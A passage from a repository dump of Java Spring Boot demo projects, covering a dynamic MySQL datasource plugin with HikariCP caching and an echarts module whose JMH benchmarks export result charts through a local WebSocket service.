    "content": "package com.jun.plugin.dynamic.datasource.datasource;\n\n/**\n * <p>\n * 数据源标识管理\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 14:16\n */\npublic class DatasourceConfigContextHolder {\n    private static final ThreadLocal<Long> DATASOURCE_HOLDER = ThreadLocal.withInitial(() -> DatasourceHolder.DEFAULT_ID);\n\n    /**\n     * 设置默认数据源\n     */\n    public static void setDefaultDatasource() {\n        DATASOURCE_HOLDER.remove();\n        setCurrentDatasourceConfig(DatasourceHolder.DEFAULT_ID);\n    }\n\n    /**\n     * 获取当前数据源配置id\n     *\n     * @return 数据源配置id\n     */\n    public static Long getCurrentDatasourceConfig() {\n        return DATASOURCE_HOLDER.get();\n    }\n\n    /**\n     * 设置当前数据源配置id\n     *\n     * @param id 数据源配置id\n     */\n    public static void setCurrentDatasourceConfig(Long id) {\n        DATASOURCE_HOLDER.set(id);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/datasource/DatasourceHolder.java",
    "content": "package com.jun.plugin.dynamic.datasource.datasource;\n\nimport com.zaxxer.hikari.HikariDataSource;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * <p>\n * 数据源管理\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 14:23\n */\npublic enum DatasourceHolder {\n    /**\n     * 当前实例\n     */\n    INSTANCE;\n\n    /**\n     * 启动执行，定时5分钟清理一次\n     */\n    DatasourceHolder() {\n        DatasourceScheduler.INSTANCE.schedule(this::clearExpiredDatasource, 5 * 60 * 1000);\n    }\n\n    /**\n     * 默认数据源的id\n     */\n    public static final Long DEFAULT_ID = -1L;\n\n    /**\n     * 管理动态数据源列表。\n     */\n    private static final Map<Long, DatasourceManager> DATASOURCE_CACHE = new ConcurrentHashMap<>();\n\n    /**\n     * 添加动态数据源\n     *\n     * @param id         数据源id\n     * @param dataSource 数据源\n     */\n    public synchronized void addDatasource(Long id, HikariDataSource dataSource) {\n        DatasourceManager datasourceManager = new DatasourceManager(dataSource);\n        DATASOURCE_CACHE.put(id, datasourceManager);\n    }\n\n    /**\n     * 查询动态数据源\n     *\n     * @param id 数据源id\n     * @return 数据源\n     */\n    public synchronized HikariDataSource getDatasource(Long id) {\n        if (DATASOURCE_CACHE.containsKey(id)) {\n            DatasourceManager datasourceManager = DATASOURCE_CACHE.get(id);\n            datasourceManager.refreshTime();\n            return datasourceManager.getDataSource();\n        }\n        return null;\n    }\n\n    /**\n     * 清除超时的数据源\n     */\n    public synchronized void clearExpiredDatasource() {\n        DATASOURCE_CACHE.forEach((k, v) -> {\n            // 排除默认数据源\n            if (!DEFAULT_ID.equals(k)) {\n                if (v.isExpired()) {\n                    DATASOURCE_CACHE.remove(k);\n                }\n            }\n        });\n    }\n\n    /**\n     * 清除动态数据源\n     * @param id 数据源id\n     */\n    public synchronized void removeDatasource(Long id) {\n        if (DATASOURCE_CACHE.containsKey(id)) {\n            // 关闭数据源\n            DATASOURCE_CACHE.get(id).getDataSource().close();\n            // 移除缓存\n            DATASOURCE_CACHE.remove(id);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/datasource/DatasourceManager.java",
    "content": "package com.jun.plugin.dynamic.datasource.datasource;\n\nimport com.zaxxer.hikari.HikariDataSource;\nimport lombok.Getter;\n\nimport java.time.LocalDateTime;\n\n/**\n * <p>\n * 数据源管理类\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 14:27\n */\npublic class DatasourceManager {\n    /**\n     * 默认释放时间\n     */\n    private static final Long DEFAULT_RELEASE = 10L;\n\n    /**\n     * 数据源\n     */\n    @Getter\n    private HikariDataSource dataSource;\n\n    /**\n     * 上一次使用时间\n     */\n    private LocalDateTime lastUseTime;\n\n    public DatasourceManager(HikariDataSource dataSource) {\n        this.dataSource = dataSource;\n        this.lastUseTime = LocalDateTime.now();\n    }\n\n    /**\n     * 是否已过期，如果过期则关闭数据源\n     *\n     * @return 是否过期，{@code true} 过期，{@code false} 未过期\n     */\n    public boolean isExpired() {\n        if (LocalDateTime.now().isBefore(this.lastUseTime.plusMinutes(DEFAULT_RELEASE))) {\n            return false;\n        }\n        this.dataSource.close();\n        return true;\n    }\n\n    /**\n     * 刷新上次使用时间\n     */\n    public void refreshTime() {\n        this.lastUseTime = LocalDateTime.now();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/datasource/DatasourceScheduler.java",
    "content": "package com.jun.plugin.dynamic.datasource.datasource;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * <p>\n * 数据源缓存释放调度器\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 14:42\n */\npublic enum DatasourceScheduler {\n    /**\n     * 当前实例\n     */\n    INSTANCE;\n\n    private AtomicInteger cacheTaskNumber = new AtomicInteger(1);\n    private ScheduledExecutorService scheduler;\n\n    DatasourceScheduler() {\n        create();\n    }\n\n    private void create() {\n        this.shutdown();\n        this.scheduler = new ScheduledThreadPoolExecutor(10, r -> new Thread(r, String.format(\"Datasource-Release-Task-%s\", cacheTaskNumber.getAndIncrement())));\n    }\n\n    private void shutdown() {\n        if (null != this.scheduler) {\n            this.scheduler.shutdown();\n        }\n    }\n\n    public void schedule(Runnable task,long delay){\n        this.scheduler.scheduleAtFixedRate(task, delay, delay, TimeUnit.MILLISECONDS);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/datasource/DynamicDataSource.java",
    "content": "package com.jun.plugin.dynamic.datasource.datasource;\n\nimport com.jun.plugin.dynamic.datasource.model.DatasourceConfig;\nimport com.jun.plugin.dynamic.datasource.utils.SpringUtil;\nimport com.zaxxer.hikari.HikariDataSource;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\n/**\n * <p>\n * 动态数据源\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 10:41\n */\n@Slf4j\npublic class DynamicDataSource extends HikariDataSource {\n    @Override\n    public Connection getConnection() throws SQLException {\n        // 获取当前数据源 id\n        Long id = DatasourceConfigContextHolder.getCurrentDatasourceConfig();\n        // 根据当前id获取数据源\n        HikariDataSource datasource = DatasourceHolder.INSTANCE.getDatasource(id);\n\n        if (null == datasource) {\n            datasource = initDatasource(id);\n        }\n\n        return datasource.getConnection();\n    }\n\n    /**\n     * 初始化数据源\n     * @param id 数据源id\n     * @return 数据源\n     */\n    private HikariDataSource initDatasource(Long id) {\n        HikariDataSource dataSource = new HikariDataSource();\n\n        // 判断是否是默认数据源\n        if (DatasourceHolder.DEFAULT_ID.equals(id)) {\n            // 默认数据源根据 application.yml 配置的生成\n            DataSourceProperties properties = SpringUtil.getBean(DataSourceProperties.class);\n            dataSource.setJdbcUrl(properties.getUrl());\n            dataSource.setUsername(properties.getUsername());\n            dataSource.setPassword(properties.getPassword());\n            dataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n        } else {\n            // 不是默认数据源，通过缓存获取对应id的数据源的配置\n            DatasourceConfig datasourceConfig = DatasourceConfigCache.INSTANCE.getConfig(id);\n\n            if (datasourceConfig == null) {\n                throw new RuntimeException(\"无此数据源\");\n            }\n\n            dataSource.setJdbcUrl(datasourceConfig.buildJdbcUrl());\n            dataSource.setUsername(datasourceConfig.getUsername());\n            dataSource.setPassword(datasourceConfig.getPassword());\n            dataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n        }\n        // 将创建的数据源添加到数据源管理器中，绑定当前线程\n        DatasourceHolder.INSTANCE.addDatasource(id, dataSource);\n        return dataSource;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/mapper/DatasourceConfigMapper.java",
    "content": "package com.jun.plugin.dynamic.datasource.mapper;\n\nimport org.apache.ibatis.annotations.Mapper;\n\nimport com.jun.plugin.dynamic.datasource.config.MyMapper;\nimport com.jun.plugin.dynamic.datasource.model.DatasourceConfig;\n\n/**\n * <p>\n * 数据源配置 Mapper\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:20\n */\n@Mapper\npublic interface DatasourceConfigMapper extends MyMapper<DatasourceConfig> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/mapper/UserMapper.java",
    "content": "package com.jun.plugin.dynamic.datasource.mapper;\n\nimport org.apache.ibatis.annotations.Mapper;\n\nimport com.jun.plugin.dynamic.datasource.config.MyMapper;\nimport com.jun.plugin.dynamic.datasource.model.User;\n\n/**\n * <p>\n * 用户 Mapper\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:49\n */\n@Mapper\npublic interface UserMapper extends MyMapper<User> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/model/DatasourceConfig.java",
    "content": "package com.jun.plugin.dynamic.datasource.model;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport java.io.Serializable;\n\n/**\n * <p>\n * 数据源配置表\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 10:58\n */\n@Data\n@Table(name = \"datasource_config\")\npublic class DatasourceConfig implements Serializable {\n    /**\n     * 主键\n     */\n    @Id\n    @Column(name = \"`id`\")\n    @GeneratedValue(generator = \"JDBC\")\n    private Long id;\n\n    /**\n     * 数据库地址\n     */\n    @Column(name = \"`host`\")\n    private String host;\n\n    /**\n     * 数据库端口\n     */\n    @Column(name = \"`port`\")\n    private Integer port;\n\n    /**\n     * 数据库用户名\n     */\n    @Column(name = \"`username`\")\n    private String username;\n\n    /**\n     * 数据库密码\n     */\n    @Column(name = \"`password`\")\n    private String password;\n\n    /**\n     * 数据库名称\n     */\n    @Column(name = \"`database`\")\n    private String database;\n\n    /**\n     * 构造JDBC URL\n     *\n     * @return JDBC URL\n     */\n    public String buildJdbcUrl() {\n        return String.format(\"jdbc:mysql://%s:%s/%s?useUnicode=true&characterEncoding=utf-8&useSSL=false\", this.host, this.port, this.database);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/model/User.java",
    "content": "package com.jun.plugin.dynamic.datasource.model;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport java.io.Serializable;\n\n/**\n * <p>\n * 用户\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:41\n */\n@Data\n@Table(name = \"test_user\")\npublic class User implements Serializable {\n    /**\n     * 主键\n     */\n    @Id\n    @Column(name = \"`id`\")\n    @GeneratedValue(generator = \"JDBC\")\n    private Long id;\n\n    /**\n     * 姓名\n     */\n    @Column(name = \"`name`\")\n    private String name;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/utils/SpringUtil.java",
    "content": "package com.jun.plugin.dynamic.datasource.utils;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.DisposableBean;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.context.ApplicationEvent;\nimport org.springframework.context.annotation.Lazy;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * Spring 工具类\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:16\n */\n@Slf4j\n@Service\n@Lazy(false)\npublic class SpringUtil implements ApplicationContextAware, DisposableBean {\n\n    private static ApplicationContext applicationContext = null;\n\n    /**\n     * 取得存储在静态变量中的ApplicationContext.\n     */\n    public static ApplicationContext getApplicationContext() {\n        return applicationContext;\n    }\n\n    /**\n     * 实现ApplicationContextAware接口, 注入Context到静态变量中.\n     */\n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) {\n        SpringUtil.applicationContext = applicationContext;\n    }\n\n    /**\n     * 从静态变量applicationContext中取得Bean, 自动转型为所赋值对象的类型.\n     */\n    @SuppressWarnings(\"unchecked\")\n    public static <T> T getBean(String name) {\n        return (T) applicationContext.getBean(name);\n    }\n\n    /**\n     * 从静态变量applicationContext中取得Bean, 自动转型为所赋值对象的类型.\n     */\n    public static <T> T getBean(Class<T> requiredType) {\n        return applicationContext.getBean(requiredType);\n    }\n\n    /**\n     * 清除SpringContextHolder中的ApplicationContext为Null.\n     */\n    public static void clearHolder() {\n        if (log.isDebugEnabled()) {\n            log.debug(\"清除SpringContextHolder中的ApplicationContext:\" + applicationContext);\n        }\n        applicationContext = null;\n    }\n\n    /**\n     * 发布事件\n     *\n     * @param event 事件\n     */\n    public static void publishEvent(ApplicationEvent event) {\n        if (applicationContext == null) {\n            return;\n        }\n        applicationContext.publishEvent(event);\n    }\n\n    /**\n     * 实现DisposableBean接口, 在Context关闭时清理静态变量.\n     */\n    @Override\n    public void destroy() {\n        SpringUtil.clearHolder();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=utf-8&useSSL=false\n    username: root\n    password: \n    driver-class-name: com.mysql.cj.jdbc.Driver\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/test/java/com/jun/plugin/dynamic/datasource/SpringBootDemoDynamicDatasourceApplicationTests.java",
    "content": "package com.jun.plugin.dynamic.datasource;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoDynamicDatasourceApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\nswagger.json\nswagger.adoc\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/README.md",
    "content": "## Echarts + WebSocket实现图片生成\n\n大致的过程是这样\n\n对于每一种图表类型，开放一个数据请求接口，通过POST请求接受图表数据，然后push到客户端去，\n客户端接受到请求后渲染echarts图表，并且会将BASE64格式图片数据再次提交给另外一个图片保存接口进行实际的保存。\n\n对于需要生成图片形式的客户端，先打开一个浏览器连上服务器，另外写一个HTTPClient程序通过POST调用图片保存接口即可。\n\n## 使用案例\n\n使用JMH做微基准测试的时候，通常需要可视化显示测试结果，这时候可将文本形式的测试结果上传，自动生成非常漂亮的性能测试报告图表。\n\n其他想要可视化数据保存图片的场景，都可以这样实现。\n\n## 改进方案\n\n通过配合PhantomJS来实现无浏览器的自动图片生成。经过测试PhantomJS打开页面后可以连上socket服务器，但是10秒后自动关闭了。\n\n尝试采用页面js轮询方式，1秒轮询一次，有数据的时候就导出图片。结果导出图片太大了，不知道怎么回事，另外轮询方案始终不是很好。\n\n最后还是老老实实使用websocket方案\n\n## JMH性能测试\n\n在包`com.xncoding.benchmark`中，有几个基准测试，并且可将测试结果利用echarts图片导出到图片。\n\n## 测试步骤\n\n1. 启动应用后，用浏览器打开首页：<http://localhost:9075/>\n2. 然后再执行图片生成测试方法`com.xncoding.echarts.common.util.ApplicationTests.testOption()`\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_echarts</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>通过接口实现Echarts图片保存</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <netty.version>4.1.19.Final</netty.version>\n        <jmh.version>1.20</jmh.version>\n    </properties>\n\n    <dependencies>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.7</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>2.5</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n            <version>1.11</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.12</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest-all</artifactId>\n            <version>1.3</version>\n            <scope>test</scope>\n        </dependency>\n\n        <!-- netty-socketio-->\n        <dependency>\n            <groupId>com.corundumstudio.socketio</groupId>\n            <artifactId>netty-socketio</artifactId>\n            <version>1.7.13</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-buffer</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-codec</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-codec-http</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-common</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-handler</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-resolver</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-transport</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-transport-native-epoll</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-transport-native-unix-common</artifactId>\n            <version>${netty.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.socket</groupId>\n            <artifactId>socket.io-client</artifactId>\n            <version>1.0.0</version>\n        </dependency>\n\n        <!-- JMH-->\n        <dependency>\n            <groupId>org.openjdk.jmh</groupId>\n            <artifactId>jmh-core</artifactId>\n            <version>${jmh.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.openjdk.jmh</groupId>\n            <artifactId>jmh-generator-annprocess</artifactId>\n            <version>${jmh.version}</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- Json libs-->\n        <dependency>\n            <groupId>net.sf.json-lib</groupId>\n            <artifactId>json-lib</artifactId>\n            <version>2.4</version>\n            <classifier>jdk15</classifier>\n        </dependency>\n        <dependency>\n            <groupId>com.google.code.gson</groupId>\n            <artifactId>gson</artifactId>\n            <version>2.8.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.46</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.9.4</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-annotations</artifactId>\n            <version>2.9.4</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/Application.java",
    "content": "package com.xncoding;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/common/ResultExporter.java",
    "content": "package com.xncoding.benchmark.common;\n\nimport org.openjdk.jmh.infra.BenchmarkParams;\nimport org.openjdk.jmh.results.BenchmarkResult;\nimport org.openjdk.jmh.results.Result;\nimport org.openjdk.jmh.results.RunResult;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\n\nimport static com.xncoding.echarts.common.util.ExportPngUtil.generateOption;\nimport static com.xncoding.echarts.common.util.ExportPngUtil.postOption;\n\n/**\n * 将基准测试结果导出图片\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class ResultExporter {\n\n    public static void exportResult(String titleStr, Collection<RunResult> results,\n                                    String paramKey, String xunit) throws Exception {\n        // 几个测试对象\n        List<String> objects = new ArrayList<>();\n        // 测试维度，输入值n\n        List<String> dimensions = new ArrayList<>();\n        // 有几个测试对象，就有几组测试数据，每组测试数据中对应几个维度的结果\n        List<List<Double>> allData = new ArrayList<>();\n        List<Double> temp = new ArrayList<>();\n        for (RunResult runResult : results) {\n            BenchmarkResult benchmarkResult = runResult.getAggregatedResult();\n            Result r = benchmarkResult.getPrimaryResult();\n            BenchmarkParams params = runResult.getParams();\n            if (!objects.contains(r.getLabel())) {\n                objects.add(r.getLabel());\n                if (!temp.isEmpty()) {\n                    allData.add(temp);\n                    temp = new ArrayList<>();\n                }\n            }\n            temp.add(Double.parseDouble(String.format(\"%.2f\", r.getScore())));\n            // 测试维度\n            if (!dimensions.contains(\"n=\" + params.getParam(paramKey))) {\n                dimensions.add(\"n=\" + params.getParam(paramKey));\n            }\n        }\n        // 最后一组测试数据别忘记加进去了\n        allData.add(temp);\n\n        String optionStr = generateOption(titleStr, objects, dimensions, allData, xunit);\n        // POST到接口上\n        postOption(optionStr, \"http://localhost:9075/api/v1/data\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/first/FirstBenchmark.java",
    "content": "package com.xncoding.benchmark.first;\n\nimport org.openjdk.jmh.annotations.*;\nimport org.openjdk.jmh.runner.Runner;\nimport org.openjdk.jmh.runner.RunnerException;\nimport org.openjdk.jmh.runner.options.Options;\nimport org.openjdk.jmh.runner.options.OptionsBuilder;\n\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * FirstBenchmark\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n@BenchmarkMode(Mode.AverageTime)\n@OutputTimeUnit(TimeUnit.MICROSECONDS)\n@State(Scope.Thread)\npublic class FirstBenchmark {\n\n    @Benchmark\n    public int sleepAWhile() {\n        try {\n            Thread.sleep(500);\n        } catch (InterruptedException e) {\n            // ignore\n        }\n        return 0;\n    }\n\n    public static void main(String[] args) throws RunnerException {\n        Options opt = new OptionsBuilder()\n                .include(FirstBenchmark.class.getSimpleName())\n                .forks(1)\n                .warmupIterations(5)\n                .measurementIterations(5)\n                .build();\n        new Runner(opt).run();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/benchmark/json/JsonDeserializeBenchmark.java",
    "content": "package com.xncoding.benchmark.json;\n\nimport com.xncoding.benchmark.common.ResultExporter;\nimport com.xncoding.benchmark.json.model.FullName;\nimport com.xncoding.benchmark.json.model.Person;\nimport com.xncoding.benchmark.json.util.FastJsonUtil;\nimport com.xncoding.benchmark.json.util.GsonUtil;\nimport com.xncoding.benchmark.json.util.JacksonUtil;\nimport com.xncoding.benchmark.json.util.JsonLibUtil;\nimport org.openjdk.jmh.annotations.*;\nimport org.openjdk.jmh.results.RunResult;\nimport org.openjdk.jmh.runner.Runner;\nimport org.openjdk.jmh.runner.options.Options;\nimport org.openjdk.jmh.runner.options.OptionsBuilder;\n\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Json反序列化基准测试\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n@BenchmarkMode(Mode.SingleShotTime)\n@OutputTimeUnit(TimeUnit.SECONDS)\n@State(Scope.Benchmark)\npublic class JsonDeserializeBenchmark {\n    /**\n     * 反序列化次数参数\n     */\n    @Param({\"1000\", \"10000\", \"100000\"})\n    private int count;\n\n    private String jsonStr;\n\n    public static void main(String[] args) throws Exception {\n        Options opt = new OptionsBuilder()\n                .include(JsonDeserializeBenchmark.class.getSimpleName())\n                .forks(1)\n                .warmupIterations(0)\n                .build();\n        Collection<RunResult> results =  new Runner(opt).run();\n        ResultExporter.exportResult(\"JSON反序列化性能\", results, \"count\", \"秒\");\n    }\n\n    @Benchmark\n    public void JsonLib() {\n        for (int i = 0; i < count; i++) {\n            JsonLibUtil.json2Bean(jsonStr, Person.class);\n        }\n    }\n\n    @Benchmark\n    public void Gson() {\n        for (int i = 0; i < count; i++) {\n            GsonUtil.json2Bean(jsonStr, Person.class);\n        }\n    }\n\n    @Benchmark\n    public void FastJson() {\n        for (int i = 0; i < count; i++) {\n            FastJsonUtil.json2Bean(jsonStr, Person.class);\n        }\n    }\n\n    @Benchmark\n    public void Jackson() {\n        for (int i = 0; i < count; i++) {\n            JacksonUtil.json2Bean(jsonStr, Person.class);\n        }\n    }\n\n    @Setup\n    public void prepare() {\n        jsonStr=\"{\\\"name\\\":\\\"邵同学\\\",\\\"fullName\\\":{\\\"firstName\\\":\\\"zjj_first\\\",\\\"middleName\\\":\\\"zjj_middle\\\",\\\"lastName\\\":\\\"zjj_last\\\"},\\\"age\\\":24,\\\"birthday\\\":null,\\\"hobbies\\\":[\\\"篮球\\\",\\\"游泳\\\",\\\"coding\\\"],\\\"clothes\\\":{\\\"shoes\\\":\\\"安踏\\\",\\\"trousers\\\":\\\"adidas\\\",\\\"coat\\\":\\\"Nike\\\"},\\\"friends\\\":[{\\\"name\\\":\\\"小明\\\",\\\"fullName\\\":{\\\"firstName\\\":\\\"xxx_first\\\",\\\"middleName\\\":\\\"xxx_middle\\\",\\\"lastName\\\":\\\"xxx_last\\\"},\\\"age\\\":24,\\\"birthday\\\":null,\\\"hobbies\\\":[\\\"篮球\\\",\\\"游泳\\\",\\\"coding\\\"],\\\"clothes\\\":{\\\"shoes\\\":\\\"安踏\\\",\\\"trousers\\\":\\\"adidas\\\",\\\"coat\\\":\\\"Nike\\\"},\\\"friends\\\":null},{\\\"name\\\":\\\"Tony\\\",\\\"fullName\\\":{\\\"firstName\\\":\\\"xxx_first\\\",\\\"middleName\\\":\\\"xxx_middle\\\",\\\"lastName\\\":\\\"xxx_last\\\"},\\\"age\\\":24,\\\"birthday\\\":null,\\\"hobbies\\\":[\\\"篮球\\\",\\\"游泳\\\",\\\"coding\\\"],\\\"clothes\\\":{\\\"shoes\\\":\\\"安踏\\\",\\\"trousers\\\":\\\"adidas\\\",\\\"coat\\\":\\\"Nike\\\"},\\\"friends\\\":null},{\\\"name\\\":\\\"陈小二\\\",\\\"fullName\\\":{\\\"firstName\\\":\\\"xxx_first\\\"